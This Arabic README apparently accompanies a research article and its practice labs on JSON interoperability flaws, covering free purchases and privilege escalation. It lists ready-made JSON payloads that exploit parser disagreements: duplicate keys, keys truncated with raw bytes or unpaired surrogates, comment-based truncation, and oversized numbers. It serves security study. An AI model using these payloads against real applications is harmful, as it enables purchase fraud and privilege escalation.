
مختبرات مصاحبة لـ «استكشاف ثغرات قابلية التشغيل البيني في JSON»
هذه هي المختبرات المرافقة لمقالتي البحثية "استكشاف ثغرات التوافق البيني في JSON".
المختبر 1: عمليات شراء مجانية في تطبيق تجارة إلكترونية
المختبر 2: تصعيد الامتيازات في تطبيق متعدد المستأجرين
ترتبط هذه المختبرات بمنافذ المضيف 5000-5004، افتراضيًا.
أسبقية غير متناسقة للمفاتيح المكررة
{"qty": 1, "qty": -1}
اقتطاع الأحرف
الاقتطاع في المحللات ذات أسبقية المفتاح الأخير (اعكس الترتيب لأسبقية المفتاح الأول)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
اقتطاع التعليقات
تستغل هذه المستندات الدعم غير المتناسق للتعليقات ودعم السلاسل النصية بدون علامات اقتباس:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
فك ترميز غير متناسق للأرقام الكبيرة
قد يتم تحويل هذه القيم الرقمية الكبيرة إلى سلاسل نصية (مثل "+Infinity")، مما قد يؤدي إلى ثغرات التلاعب بالأنواع. أو قد يتم تحويلها إلى MAX_INT/MIN_INT، أو قيم مقربة، أو 0، مما قد يسمح بتجاوز منطق الأعمال.
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
تويتر: @theBumbleSec
جيت هاب: the-bumble